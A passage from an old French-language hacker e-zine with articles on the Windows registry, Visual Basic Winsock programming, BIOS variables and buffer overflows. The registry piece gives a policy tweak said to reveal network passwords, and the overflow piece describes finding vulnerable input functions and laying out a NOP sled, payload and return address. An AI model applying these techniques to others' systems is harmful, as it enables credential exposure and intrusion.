_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.16] _|_| Quand JACKEL se force ailleurs que sur une toilette
\_________/_/ So CalleD _ ______ __ _ _
Ecrire en Programmant en C during same time _/_/ [By:|JaCKeL|] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
************************************************
S E X
************************************************
/* Petite PUB pour attirer l'attention des puppies
a lire cette article !! Ca marche non ? */
Comme je crois formellement qu'avant de /vouloir/pouvoir/
planter un systeme de 200 machines il faut premièrement
comprendre sa propre machine. Donc cet article est le premier
d'une série de (je sais pas combien) qui porteront sur le
fonctionnement, comportement logiciel et matériel de votre
ordinateur.
Sujet de ce premier article : LA BASE DES REGISTRES WINDOWS.
Classe de compréhension : Software
Niveau : Expert / Avancé
Crédit : AUCUN !!! Mouhahahah
// Hehe ca vais vraiment livre platte cette facon
// d'annoncer l'article.
--------------- FAQ mode article :) ---------------------
"Duh ?? Base des registres kessé ca ???"
C'est peut-être la chose la plus important du Windows.
Personne a remarqué que depuis Windows 95 on a plus a
setter des gréments comme les IRQ (Interrupt ReQuest)
ou les DMA (Direct Memory Access) dans vos jeux ou apps,
comme dans le bon vieux temps du DOS. Puis personne n'a
remarqué que Windows retien toute information comme votre
background, vos préférences, vos périphériques pis tous
le reste. Ben c'est ben stocker a quelque part ca !
Think BASE DE REGISTRE MEC !!!
*--- 1. "C'est où ca ???"
Très simple la base de registre est composés de 2 fichiers
C:\WINDOWS\
USER.DAT // Vos préférences (ou setting) personnel
SYSTEM.DAT // Les paramètres système et logiciel
Je vous recommande très fortement de faire un backup
de ses 2 fichiers avant d'effectuer toute modification.
*--- 2. "Pis on peut modifier ca ??? "
"C'est gros,comment je fais pour me retrouver ??"
Oui ca se modifie, et malgré les apparances, c'est très
simple.
On peut l'éditer avec REGEDIT.EXE (fourni dans Windows).
Il existe une recherche dans le menu édition pour trouver
ce que l'on cherche. Ensuite on peut la modifier a la main
en double cliquant sur la variable a changer, ou
l'automatiser avec un .REG , et comment faire un .REG ??avec
notepad, tout simplement !!!!
Exemple de .REG
[HKEY_LOCAL_MACHINE\SOFTWARE\DMA Design\Grand Theft Auto]
;// ( le path dans la base des registres )
;// ( dans se cas-ci il s'agit du .REG de
;// ( Grand Theft Auto (un bon jeux en réseau))
"Language"=dword:00000000
;// ( la variable a changer ou à créer
;// suivi de la modification )
En passant les ";//" sont des commentaires.
Les phrases commencant par ; sont ignorés dans les .reg
et les // sont une indiquation de commentaire dans
plusieurs language de programmation.
*---3. "Kessé tu veux que ca me fasse???
J'veux hacker moi criss."
Justement... L'encryption et le réadressage des passwords
Microsoft se font la. En plus, plusieurs autre programme
l'utilise pour stocker des informations qui peuvent etre
tres utile. Comme par exemple allant changer le contenu
de :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Policies\Network\HideSharePassword a 0, vous décachez tous
les passwords réseau.
Pour logger les modifications dans une base de registre,
copier vote base de registe avant les modifications et
recopier la apres. Ensuite utilisez un application comme
FILECMP.exe du DOS 6.22 pour comparez les changement
entre l'ancien et la nouvelle. De cette facon, vous pourrez
décoder les changements, et meme les passwords...
|JaCKeL|
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.17] _|_| API WINSOCKS
\_________/_/ So CalleD _ ______ __ _ _
API WINSOCKS _/_/[By:Nitrogen] \
__________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Disclaim:
---------
Mouahhahaha, désolé j'aimerais bin écrire un disclaim, mais mon
article ne ce situe dans l'illégal, mais plutot sur la
programmation. Parce que je crois qu'un hacker qui ne sais pas
coder est un peu mal prit... Je profite de ce disclaim pour
faire une petite intro. Je ne suis pas un expert en
programmation, mais je suis assez experimenté pour vous dire
que Visual Basic est plus pour debuter en programmation. Si
vous voulez faire de vrai application n'ésitez pas, le C/C++
est pour vous.
Cet article est destiné aux personnes ayant une certaine
connaissance de Visual Basic, si vous n'avez jamais coder ce
language passez à l'article suivant.
Article:
--------
Bon bien c'est ici que ca commence. Je vais toucher l'API de
windows et au control winsock.
_____ ________ ________________ ____________ ________ _________________
/ \
| Informations |
\____________ ___________ __________________ _____________ _____ _________/
| |
| 1.0 Et bien... Qu'est ce que l'API de windows ?!?! |
| |
| API=Application Programming Interface. Ca sert a appeler |
| des fonctions windows du style: Faire jouer du son, |
| Reboot, Replacer le curseur(souris), etc... Ca facilite |
| complètement la tâche d'un programmeur. Sans l'api coder |
| un programme serais très ardus. |
| (Pas pour tout les applications naturèlement) |
| |
| 1.1 C'est l'fun mais comment l'utiliser? |
| |
| Bin avez-vous jamais vu Api Text Viewer dans votre menu de |
| Vb?C'est ca.. Jettez-y un coup d'oeil c'est fascinant... |
| |
| 1.2 Le control Winsock? |
| |
| Oui, le control winsock permet de faire des applications du |
| style Client/Server. |
| |
| Pour ajouter le control winsock rien de plus facile allez |
| dans le menu Project/Components(CTRL+T) et voila ajouter --> |
| +++ Microsoft Winsock Control 5.0 +++ |
\____________ ________________ ______ __________ _______________ _________/
___ _______ _______ _____
/ \
| API |
\________ ____________ ____/
Bon ouvrez Api Text Viewer, il n'y à rien. Allez dans File/Load text file et
ouvrez Win32api.txt. Maintenant dans la Combo box (Api Type) choisissez
Declares. Il y à plusieurs items qui apparaissent, voici des call de Dll deja
fait. Rendez vous jusqu'à "SetCursorPos" Dclicker dessus, en bas apparait le
call ou plutot le code a inserer dans un module. Commencez-vous a comprendre?
Selectionner ce texte, et copy.. Maintenant nous allons faire un exemple avec
ce call, biensur cet exemple n'aura aucun autre intérêt que vous faire
comprendre comment utiliser un call de dll.
*Faites vous une form --> Frm_Main
*Inserez 2 boutons --> Cmd_Oui Cmd_Non (un avec une caption "Oui" et
l'autre "Non"
*Inserez un module --> Project/Add module --> Mod_1
-Maintenant inserez le call de Dll que vous avez copié dans l'api
le voici:
Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long,
ByVal y As Long) As Long
Decortiquons ce code:
*Declare--> declare une methode
*Function--> precise que cette methode est
FUNCTION
*SetCursorPos--> Le nom de notre function
*Lib--> indique la librairie que nous allons
utiliser(ou plutot le dll)
*"user32"--> le dll
*Alias--> indique le nom utiliser pour appeler
notre fonction dans un code
*"SetCursorPos"->le nom que nous allon utiliser
*(ByVal x As Long, ByVal y As Long) --> les
coordonnees (X,Y)
*As Long--> le type de la function
Alors il vous reste juste a mettre du code dans le bouton.
Disons que nous voulons que la personne ne puisse pas clicker
sur le bouton NON alors:
Private Sub Cmd_Non_MouseMove(Button As Integer, Shift As Integer,
X As Single, Y As Single)
X = 200
Y = 200
SetCursorPos X, Y
End Sub
Tout simplement, nous avons attribué les coordonnées du curseur
dans l'événement MouseMove, ce qui signifie que quand la souris
bouge sur le bouton elle active le sub, et déplace le curseur
avec la fonction SetCursorPos..
Voici ce que l'Api peut nous apporter et nous rendre la tâche
facile... biensur ceci n'est qu'un banale exemple de ce que
l'Api nous offre! Il n'est pas interdit d'explorer soi-même....
Amusez-vous bin avec ca...
_____ __________ ___ ____
/ \
| Winsock |
\___ _____ ___________ __/
Cette partie est légerement plus longue du fait que ce n'est pas si facile
que la partie précédante, malgrés que le control winsock n'est pas complexe.
Ouvrez un projet Vb et ajoutez un control Winsock de la maniere expliquer en 1.2
Pour un Client mettez-vous un Bouton Connecter Deconnecter
--> Cmd_Connecter--> Cmd_Deconnecter(caption "Connecter" et "Deconnecter")
Dans le bouton de connection vous devez entrer le Port Host
Protocol comme ceci :
Objet.RemoteHost=Host
Objet.RemotePort=Port
Objet.Protocol=sckTCPProtocol
Objet.Connect
On pourrais remplacer l'objet par notre contrôle winsock,
nommé par défault "Winsock1". Ce léger code nous permet
de nous connecter a un serveur. Mais ceci est totalement
facile. La seul embiguité c'est les structures des packets.
C'estbeau d'être connecter, mais il faut envoyer et recevoir
des données. Alors allez dans l'événement DataArrival du
control winsock.Insérez ceci :
Dim Donner as string
Winsock1.GetData Donner, VbString, BytesTotal
La méthode GetData recoit le packet et l'insert dans la
variable Donner qui est de type VbString(String) avec sa
longueur(BytesTotal). Ceci vous permet de trier ce qui
va arriver. Disons que le packet envoyé et insérer
dans Donner serait "Disconnect" alors:
if (Donner = "Disconnect") then Winsock1.Close:MsgBox("Connection
perdu",VbInformation+VbOkOnly,"Déconnecter")
Interpretons cette ligne. Si le packet est égal a "Disconnect"
alors fermer la connection a l'aide de Winsock1.Close et aviser
l'utilisateur a l'aide d'une boite de dialogue. Il ne vous restes
plus qu'à envoyer des packets et tout sera ok. Rien de plus simple:
Winsock1.SendData "Disconnect"
Et voilà vous venez d'envoyer un packet "Disconnect".
Maintenant pour un serveur, c'est relativement simple. Tout ce qui
reste a savoir c'est comment coder un programme qui attend un
request de connection.
Winsock1.Protocol=sckTCPProtocol
Winsock1.LocalPort=666
Winsock1.Listen
Nous avons mis le protocol Tcp, le port ecoutant les connections
est 666 et en fin de compte on dit d'attendre une connection.
Pour savoir si une connection est demander, l'événement
ConnectionRequest du control Winsock s'en occupe:
if (Winsock1.State <> sckClosed) then Winsock1.Close
Winsock1.Accept RequestId
Donc si le socket n'est pas fermer Vb le ferme, ensuite accept la connection.
CONCLUSION:
Je crois que vous en savez suffisament pour découvrir maintenant
par vous même...
_________ __________ __________ ____________________
/ \
| Contact |
\_____ ____________________________________ _________/
| |
| Irc :Undernet,#Tsarmy,#Iga |
| Email: The_mac_@geocities.com |
| Icq : 31925098 |
\______ ______________________ _______________________/
___________________
[Quotes of the month]\____________________________
[Cette quotes n'est la que pour prendre .02 sec a votre d/l!]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.18] _|_| BIOS : basic Input and output system
\_________/_/ So CalleD _ ______ __ _ _
Shame on your board _/_/ [By:Qwzykx] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Ce mois ci, la F.A.M.I.L.L.E Slowmot découvre la table des
variables du BiOS !
Dit papa c'est quoi ca les variables du BiOS?
Ha TIto; Farme ta yeul.
Après ce bref intro a le Feu Rock et belles oreilles,répondons à
la question de notre ami Tito.
Les variables du BIos c'est en fait un espace mémoire RAM dans
laquelle devinez quoi.. Il se trouve des variables, non mais
encore, c'est à cet endroit que les paramètres qui gèrent le
"bon" fonctionnement de votre ordinateur se trouve.
Mais que retrouve t-on a cette mystique et obscure pénombre de
la RAM ? Par exemple, on y retrouve l'adresse de votre port
série, celui de votre port parallèle, la configuration du
hardware qui compose votre machine, l'état du clavier, les stats
de votre HDD sans oublier la so useless Clock counter.
Ha c'est beau avoir toutes ces connaissances sous la main, mais
pourquoi pas les appliquer? Et pour cette seconde étape de notre
cheminement pédagogique, il vous faudra savoir a quel endroit
dans la RAM se trouve ces délicates et si hiddent informations.
Et voici la réponse que vous attendiez tous avec tant de hâte,
les variables commencent à l'adresse 0040:0000. Et je sens votre
prochaine question qui l'aube a l'horizon : How to go there ?
Et bien Tito, on va commencer par un peu d'exercice avec un
programme qui se nomme DEBUG. Et n'ayez crainte, je suis sur que
vous l'avez sur votre ordinateur en ce moment (phear!! et non ce
n'est pas un trojan fait par notre ami JCzic).
Debug est en fait un programme très mais quand je dis TRES
insignifiant en grosseur mais qui ironiquement est encore plus
gros en utilité.Tout en vous rappelant que le but de cet article
n'est pas d'apprendre à programmer en Debug mode (assembleur),
il est toute fois utile de bien savoir ce qu'on peut en tirer.
C'est un peu comme modifier les sources codes de votre eggdrop,
c'est pas vous autres qui l'avez coder mais on sait ou changer
des affaires a notre avantage.Donc regardons Debug le magnifique,
et pour tout ces lâches en mal de vivres j'ai moi-même sorties
les commandes utiles à savoir dans le cadre ce cet article
(et cadre est le mot juste!) Donc au-lieu de faire le classique:
"?" vous allez descendre le curseur vers la ligne suivante. Non
excuser, les deux prochaines lignes!
Debug Basica commande option ripped by Qwzykx (with a " ? ")
? --> Première commande et la plus utile d'entre tous.
d --> Cette commande vous présente le contenu d'une plage
mémoire, très utiles pour voir vos paramètres.
e --> Vous permet d'entrer une valeur a un endroit X, un peut
comme une commande d'éditage
q --> Gues what ! (Mom im stick in the Debug)
Et c'est tout ce dont vous aurez besoin de savoir pour le plan
éducatif de cette oeuvre littéraire.
Par exemple, si je veux voir ce qui se trouve à l'adresse
0040:0000 (ha tien un effet de déjà vu)
Après avoir lancer DEBUG, faite un dump pour voir la plage
d'adresse en question : d 0040:0000 un espace de tableau
arrivera à votre écran, vous venez de voir les variables du bios!
(clap clap) A gauche complètement se trouve l'adresse et si vous
remarquer bien, a chaques lignes, l'offset s'incremante de 10
(mais SnykeEye's que vous êtes, vous avez sûrement vu que le
nombre ou groupe de chiffre sur une colonne est des 16 et non de
10!) Et on doit cette merveilleuse invention à Mr. Hexadécimal
lui même, non mais ya rien de tel que cette méthode pour bien
sentir la logique de la machine. Encore une fois le plus que
généreux Qwzykx vous offre une table des caractères!
Décimal Hexadécimal Binaire(sur 4 bits)
~~~~~~~ ~~~~~~~~~~~ ~~~~~~~
0 0 0000
1 1 0001
2 2 0010
3 3 0011
4 4 0100
5 5 0101
6 6 0110
7 7 0111
8 8 1000
9 9 1001
10 A 1010
11 B 1011
12 C 1100
13 D 1101
14 E 1110
15 F 1111
Simple non?
Le mode hexa décimal permet de couvrir la totalité des
configurations de bits (4 dans ca cas ci) avec un seul caractère.
Si par exemple vous voyez le chiffre 6 (et comme on utilise
debug, tout en hexa) les bits représentés par ce chiffre seront:
0110. Si je mets sa encore plus simple, imaginer que j'ai quatre
lumière brancher sur mon ordi pis que je dis : quand j'envoie un
"1" (c'est du binaire la.. ca marche comme un interrupteur dans
ca cas ci, 1=On 0=Off).Donc si je désire faire allumer les 3
premières lumières : 0111 avec mon ami l'ordinateur, je n'aurai
qua envoyer le chiffre 7 (0111). Si je désire les faires toutes
(1111) j'écrirais un F (1111).Mais comme ce type de numérotation
permet 16 modes différents,les données sur votre ordinateur sont
organiser en octet (8 bits). Par exemple : (0110 0101) on voit
ici les huit bits. Donc si vous voyez ceci : (0101 0010) ne
paniquer pas, rester calme, c'est le même principe que tento, on
décode ca comme suit: 0101 = 5 et 0010 = 2 donc le chiffre sera:
52. Et si je vois le nombre 8C dans mes dump de debug, ca voudra
dire que les bits associer sont : (1000 1100). Je contrôle donc
8 lumières et j'ai 256 possibilités différantes de les faires
allumer.
Voilà pour le mode Hexadécimal.
Vous voyez maintenant pourquoi et comment l'adressage peut se
faire sur les lignes de Debug.Par exemple si je marque l'adresse
0040:0000 (d 0040:0000), l'adresse pointer sera le premier octet
de la ligne (un octet = 8 bits donc il sera codé avec deux
caractères hexa). Si je vais à l'adresse 0040:000C (d 0040:000C),
je me retrouver au 12e octet pointer par l'adresse ( C en hexa =
12 décimal). Et c'est pourquoi sur chaques lignes il y a 16
octets, la ligne suivante (0040:0010) est en fait la suite
logique le 10 ne signifie pas dix mais 16 en décimal).
P.S. Faudrait pas vous fourrer sur une ligne y a 16 octets
(0 a 15) donc la ligne suivante sera de (16 a 31) et voici
le mystère culte du "0"...
Une fois de retour parmi le so fat Debug, et après s'être
téléporté a l'adresse 0040:0000 (d 0040:0000), on peut voir
plein de code bizarre, et non ce ne sont pas des strings
binaires mais des codes hexadécimaux (désoler pour les fans du
film Hacker, je viens de péter votre bulle de rêve la c'est sur!).
Tout ce beau monde font partie des variables du Bios.
0040:00XX
00 --> Adresse des interfaces séries.
A cette adresse vous retrouvez l'adresse du port
associer à vos ports de communication séries,
codée sur deux octets.
Donc si vous voyez au début de la ligne ceci :
F8 03
Un de vos ports série se trouve à l'adresse 3F8
(noter l'inversion dut à la méthode INTEL
d'écriture des donnée)
Si sur la même lignes vous voyez ceci:
F8 03 F8 02
Comme le port est codé sur deux octets,et qu'ici
on en retrouve 4, il y a donc 2 ports soit : 3F8
et 2F8.
08 --> Adresse des interfaces parallèles.
Sur la même lignes que les interfaces série (on
est à l'offset 08 sur la ligne 0040:0000, donc à
la moitié de la ligne (16/2 = 8). Donc à cette
adresse on retrouve l'adresse de votre ou de vos
port(s) parallèles.
10 --> Configuration
Codé sur deux octets, vous trouverez ici les
configurations de votre machine, mais attention,
vous serez surpris de voir ce que peuvent dire 4
caractères!
Structure: Voici deux octets représenter en binaire.
Comme un octet représente 8 bits, deux
octets en représenteront 16 (de 0 a 15).
|15|14|13|12|11|10|9|8|7|6|5|4|3|2|1|0|
| | | | | | | | | | | | | | | | |
.Les bits 15 et 14 représente ensemble, le nombre
d'interfaces Imprimantes (comme c'est du binaire,
on peut monter jusqu'à 3 imprimantes (00,01,10,11)
(oublier pas que 00 ben ca veux dire qui a PAS
d'imprimante!)
.Les bits 13 et 12 sont Unused.
.Les bits 11,10 et 9 représente ensemble, le nombre
d'interfaces RS232 (port série)
.Le bit 8 est Unused.
.Les bits 7 et 6 indique le nombre d'unités disquette
si le bit 0 est à 1.
00= 1 disk
01= 2 disk
10= 3 disk
11= 4 disk
.Les bits 5 et 4 indique le mode vidéo lors du démarrage
de l'ordi.
00 = non Non utilisé
01 = 40*25 caract. Couleur
10 = 80*25 caract. Couleur
11 = 80*25 caract. Mono
.Les bits 3 et 2 son Unused.
.Le bit 1 Indique si vous posséder un copossesseur
mathématique.
17 --> Cette adresse vous donne l'état du clavier.
Codé sur un octet : Chaque bit a "1" indique
l'activation de ces états.
Le bit 7 = Insert
Le bit 6 = Caps Lock
Le bit 5 = Num Lock
Le bit 4 = Scroll Lock
Le bit 3 = Touche Alt (actionné ou pas)
Le bit 2 = Touche Ctrl (actionné ou pas)
Le bit 1 = Shift Gauche " " "
Le bit 0 = Shift Droite " " "
18 --> État du clavier étendu
Codé sur un octet : Chaque bit a "1" indique
l'activation de cet état.
Le bit 7 = Insert pesée
Le bit 6 = Caps Lock pesée
Le bit 5 = Num pesée
Le bit 4 = Break pesée
Le bit 3 = Mode pause activée
Le bit 2 = Print Screen pesée
Le bit 1 = Alt pesée
Le bit 0 = Ctrl pesée
3F --> État d'un lecteur de disquette
les bits de faible (0 a 3) indiquent le lecteur
en marche (1 logique) et le bit 7 est activer
si il y a écriture sur le disque.
4A --> Nombre de colonne a l'écran
Que dire de plus (oubliez pas de convertir la
valeur lue en décimal!)
4C --> Taille de la page écran.
Indique le nombre d'octet nécessaire pour
afficher une page (un écran) dans le mode
graphique en fonction.
Ex: 80x25 = 2000 octets
et comme chaques caractères est composé de son
attribut (couleur, font, blink...)
2000 x 2 = 4000 octets
et comme ceci est décimal -> 4000 ->FA0 en hexa
et comme on marche sur du INTEL, la valeur sera
inversé ->A00F (on inverse les couples d'octets)
6C --> Chronomètre
Le chronomètre est codé sur 4 octets (32 bits).
Celle-ci est remise à Zéro à chaques jours (24h).
Vous pouvez allez lire la valeur du chronomètre
mais oublier pas qu'encore une fois, le chiffre
est en hexa et qu'il faudra l'inverse (vive Intel).
84 --> Nombre de lignes a l'écran
Que dire de plus (oubliez pas de convertir la
valeur lue en décimal!)
Et oui, bien sur, il manque plusieurs autres variables je n'ai
nommer ici que celles qui risqueraient de vous servir le plus.
Et maintenant pour finir cet article, si on allait modifier
ces variables à l'intérieur d'un programme. Et programmons en C!
------------[You should keep]-----------
/****************[Exemple d'un changement de valeurs]**************
*
* Fait par: Qwzykx
* Date: 25 mai 99 (on a raining night)
* Version: 0.9999999999999999999999 (périodique)
*
******************************************************************/
void main(void) //Début du programme.
{
int far *adress; //Déclaration d'un pointeur FAR (32 bit)
adress = (int far *)0x00400017; //Initialisation de l'adress du pointeur
//(L'adress 0040:0017 = Etat du clavier)
*adress = 0x10; //La valeur pointé par le pointeur est
//0001 0000 ---> Scroll lock allum et
//les autres sont fermés.
}
------------[You should drop]-----------
Pas trop compliquer j'espère!
Pour conclure, je me fous pas mal que vous gossier le 286 de
votre grand-mère avec ces renseignements la ou que vous
planifier, comme Wyzeman et __2 la conquête du monde, veillez
noter par contre que mon oncle Bill a avec lui ces matantes qui
radote.Donc si vous prévoyez faire un programme qui accédera aux
variables du bios, oubliez pas de coder en conséquence si vous
voulez pas un petit message du genre :
___
/ \ Ce programme va être arrêté parce qu'il à effectué ___________
| !!! |une opération non conforme. | Fermée |
\___/ ~~~~~~~~~~~
Si le problème persiste, contactez le revendeur du
programme. ___________
| Detail >> |
~~~~~~~~~~~
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.19] _|_| Buffers overflow : be right back
\_________/_/ So CalleD _ ______ __ _ _
le 6-eme passager _/_/ [By:_rix] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
===========================
Apres l'excellente explication de __2 a propos des stacks smashings, il serait
interessant de continuer et peut-etre d'essayer de voir un peu plus
pratiquement comment on procede.
Tout d'abord un petit rappel:
Nous savons donc que la technique consiste a ecraser l'adresse de retour de
la procedure, et cela en remplissant un buffer de donnees du programme qui a
ete cree sur la pile.
Tout ca est bien beau, mais sa pas l'air trop facile a programmer et a
trouver :)
TROUVER DES BUFFERS OVERFLOWS SUR LA PILE:
==========================================
Le moyen le plus evident d'acceder a un buffer pour aller y ecrire est bien
evidemment via les commandes de saisies habituelles d'un programme.
Or, il se fait qu'en C, les librairies standards d'entree/sortie n'effectuent
justemment aucune verification sur la taille des donnees ajoutees dans le
buffer. [no bound-checking]
Ca veut dire quoi ?
Rappelez vous un petit peu les dernieres lecons du tutorial C de Wyzeman ;))
Vous vous souvenez que pour demander une valeur, on utilisait la petite
fonction scanf().
Par exemple:
char buffer[10];
scanf("%s",buffer);
Reflechissons un ti peu. On voit donc que le buffer a une taille de 10.
Donc ca veut dire que si on tape 11 caracteres...hehe vous devinez la suite ;)
Une autre fonction fort utilisee pour la saisie en C est la fonction gets().
C'est en fait la meme fonction que scanf("%s",buffer), mais elle s'appelle
comme ceci: gets(buffer);
Ensuite, il y a toute une serie de fonctions qui permettent de traiter des
chaine des caracteres:
strcat(buffer1,buffer2) : cette fonction ajoute la chaine du buffer2 dans
le buffer1. Donc si buffer1 est trop petit... :)
strcpy(buffer1,buffer2) : cette fonction copie la chaine du buffer2 sur la
chaine du buffer1.si le buffer est trop petit.;)
Puis, il y a aussi les programmeurs qui utilisent des fonctions de lecture
caractere par caractere, mais qui se disent: "ohhh, mes mot de passe ne seront
jamais plus grand que 8, la personne n'a pas besoin de se planter, elle n'a
qu'a taper un mot de passe plus petit que 8 !" lol :)))
Voici quelques fonctions de lecture des caracteres: getc,getchar,...
D'autres methodes, encore. Les commandes de gestion de fichier texte.
Beaucoup de programmes Unix permettent de prendre des informations dans des
fichiers au format texte. Il vous suffit d'essayer dans ces cas-la, de faire
un fichier texte avec une ligne de 1000 caracteres, et vous verrez tres vite
si le programme une fonction critique de lecture ;)
Etant donner que toutes ces fonctions sont donc generalement utilisees avec
des variables locales (sur la pile), il y a toute une serie de pistes
possibles pour trouver des buffers overflows.
Pour vous donner une idee, n'oubliez pas non plus que pas mal de programmes
Unix sont fournis avec le code source, d'ou meme pas besoin de trop reflechir,
suffit d'analyser le code source ;))))
Un ti exemple: Il y a e peu pres 2 ans je pense, un buffer overflow a ete
trouve dans la commande SERVER du protocole IRC des serveurs IRC Undernet, qui
n'acceptait pas plus qu'un certain nombres de caracteres. Chouette hein !
hehe ;) Ca voulait dire qu'en gros, vous pouviez planter tout le serveur
Undernet, ou executer des commandes sur la machine meme du serveur. Hehe ! Je
n'ai pas eu cette chance ouin, je l'ai apprit trop tard lol ;)))))
Si vous voulez essayer d'en trouver, par exemple, le mieux consiste a charger
le programme sur votre ordi, bien tranquillement, et de tester cela chez vous
bien au chaud sans embeter personne ;) Ensuite, vous essayer toutes les
saisies possibles, avec de longues chaines de caracteres.
Sous Windows, suffit de foutre une bonne fois pour toute une longue chaine
(1000 caracteres...) dans votre clipboard et de la coller a chaque fois, ca
peut aller tres vite ;) Si le programme plante, avec une belle erreur, du
style "erreur de page" ou un truc comme ca, c'est que vous venez probablement
de trouver une petite mine d'or :))))
D'ou ca vient ? Ben vous avez tapez n'importe quoi dans votre buffer, donc ca
a ete ecrasé l'adresse de retour avec n'importe quoi, et sous les systemes
du genre Windows/linux sur Intel, ce n'est pas souvent autorisé de sauter a
n'importe quelle adresse :)
Voici quelques programmes connus dans lesquel on a trouvé des buffers
overflows dernierement:
- Internet Explorer 4.0 (connaissez vous ? ;)
- Outlook Express (mailer de Micromachin ;)
- wu-ftpd (serveur FTP Linux)
- sendmail (programme pour envoyer des mails sous Unix)
- Windows NT (paths trop longs)
- IIS 4.0 (serveur Web sous Windows NT)
OU EST CACHEE CETTE FOUTUE STACK ?
==================================
Ben oui c'est bien pratique tout ca, mais le probleme est qu'on a souvent
besoin d'avoir une idee a peu pres de l'adresse de retour que l'on va devoir
remettre. Et la ca a l'air de se compliquer ;(((
Dans les systemes Intel, pour les systemes multitaches genre Windows, Linux,..
la memoire est geree de maniere virtuelle. Ca veut dire que chaque programme
pense qu'il est le seul en memoire, et qu'il a toute la place qu'il veut.
Ca veut dire aussi que c'est le systeme qui se charge de faire les conversions
d'adresses necessaires, etc...
Donc nous n'avons pas exactemment besoin de connaitre l'emplacement exact de
notre programme en memoire, juste de savoir dans "son bloc de memoire a lui"
ou la stack se trouve. C'est deja un peu plus facile :)
2emement, c'est le compilateur qui definit les adresses de toutes les donnees
contenues dans le fichier EXE a l'execution.
Ca veut dire qu'une fois qu'on sait ou la pile commence, elle commencera
toujours a cette endroit la, meme 10 ans plus tard ;)
Mais ou c'est encore plus interessant, c'est que comme tout les programmes
se pensent seuls en memoire, ils peuvent utiliser chacun les memes adresses
"numeriques" virtuelles. Et le processeur Intel se sert justemment de cette
particuliarité pour pouvoir switcher les taches plus facilemment.
Ca veut dire que la pile d'un programme Windows/Linux se trouve toujours a
la meme adresse virtuelle.
Comment trouver cette adresse ?
Il y a plusieurs moyens. Je vais parler ici des moyens sous Windows, mais ces
moyens doivent aussi exister sous Linux, grace a des utilitaires comme GDB.
Le 1er moyen est de sortir un bon gros debugger sous Windows, par exemple
W32DASM (si vous ne connaissez pas, prenez le, c'est le meilleur ;)
Vous lancer le debugging du programme dont vous voulez trouver la pile, puis
vous allez tout simplement voir le contenu du registre ESP (registre de pile),
tout au debut ,des que le programme est chargé.
Le 2eme moyen est de creer un petit programme sous Windows, qui affiche au
demarrage le contenu du registre ESP. Cela est assez facilemment programmable
avec les fonctions d'inclusions d'operandes assembleur dans divers
compilateurs C/C++:
unsigned long esp(void) {
asm mov eax,esp
}
void main() {
printf("0x%x\n",esp());
}
LE BUFFER
=========
Maintenant que nous savons avec exactitude ou se trouve notre stack, il
faudrait savoir ou dans la pile se trouve notre buffer. Le, il n'y a pas de
solution radicale et d'adresse exacte: il faut chercher. C'est souvent ca le
plus difficile a faire pour exploiter un buffer overflow.
Mais il y a plusieurs petites idees qui peuvent nous aider a ne pas tapez
completement au hasard.
De nouveau, notre cher debugger peut nous aider, en faisant du pas a pas, a
voir la maniere dont le registre ESP evolue au cours d'une execution pas a pas
par exemple.
Mais on peut aussi faire un semblant de calcul.
Le nombre total de valeurs a tester ne sera de toute maniere jamais
astronomique. Le nombre de procedures appelees les une dans les autres, n'excede
pas souvent 50 appels. Ca fait 50*4=200 bytes. La dedans, il y a toutes les
variables locales, le plus souvent des valeurs numeriques, donc 4 bytes a peu
pres pour chacune. En comptant 50 variables locales dans chaque procedure (ce
qui est deje enorme), on arrive a 200 bytes par procedure de nouveau.
On peut eventuellement rajouter quelques buffers de caracteres dans les
procedures, et on peut arriver a un total de 500 bytes par procedure.
Etant donné que notre buffer overflow ne se trouve pas souvent dans la 50eme
procedure appelee, supposons dans la 25eme par exemple:
25*4+500*25=12600 bytes.
Or tout les bytes sur la pile sont alignes sur des valeurs de 4 bytes, donc ca
nous fait 12600/4=3150 valeurs.
Ca parait beaucoup, mais je vous rappelle qu'on a ici supposé un programme
avec 25 procedures emboitees les unes dans les autres, et avec 50 variables
locales dans chacune, ce qui est deje un programme assez enorme hehe ;))
En pratique, certains petits programmes utilisent une pile avec maximum 50
valeurs, ce qui est minime.
Le probleme est que notre adresse de retour doit se trouver exactemment au bon
endroit. Si le processeur saute un byte trop haut ou un byte trop bas, il
plantera completement.
Nous allons donc essayer d'adopter une "structure" pour notre buffer overflow,
qui devrait maximiser nos chances de reussite.
Tout d'abord, nous allons essayer d'utiliser l'instruction NOP.
L'instruction NOP des processeurs
Intel est une instruction qui n'execute
rien :) A quoi cela peut-il nous servir ? Tout simplement, a eviter de
connaitre l'adresse exact du debut de notre buffer. Si nous placons une serie
d'instructions NOP au debut de celui-ci, nous pourrons assez facilement
deviner ou se trouve plus ou moins le debut. Si le processeur ne tombe pas
exactemment sur le debut, il executera des NOP jusqu'au debut des autres
instructions utiles, et ne plantera donc pas.
Ensuite, nous ne savons pas non plus exactemment a quel endroit se trouve
notre valeur de retour sur la pile. Mais nous savons qu'une adresse de retour
est de 4 bytes, et qu'elle doit se trouver apres la fin de notre buffer.
Nous devons donc essayer d'aligner nos adresses de retour sur une valeur
multiple de 4. Nous allons aussi ecrire plusieurs fois cette adresse de
retour a la fin de notre chaene, pour avoir plus de chance que le processeur
tombe dessus lors du retour de procedure.
Nous allons donc ecrire notre buffer overflow de la maniere suivante:
NNNNNNNNNNNNNNNNNNNNNNNNNNNccccccccccccccccccccccccaaaRRRRRRRRRRRRRRRRRRRRR
Ou N represente une instruction NOP (codee 90h en assembleur).
c represente le code reel de notre exploit.
a represente des bytes d'alignement (de 0 a 3 suivant le besoin).
R represente l'adresse approximative du debut de notre buffer.
(approximative puisque il y a nos petits NOP devant ;))))
Pour calculer ce "R" (adresse approximative du buffer), nous devons partir de
l'adresse contenur dans ESP, et y ajouter une certaine valeur, suivant le
nombre de variables locales et de procedures appelees.
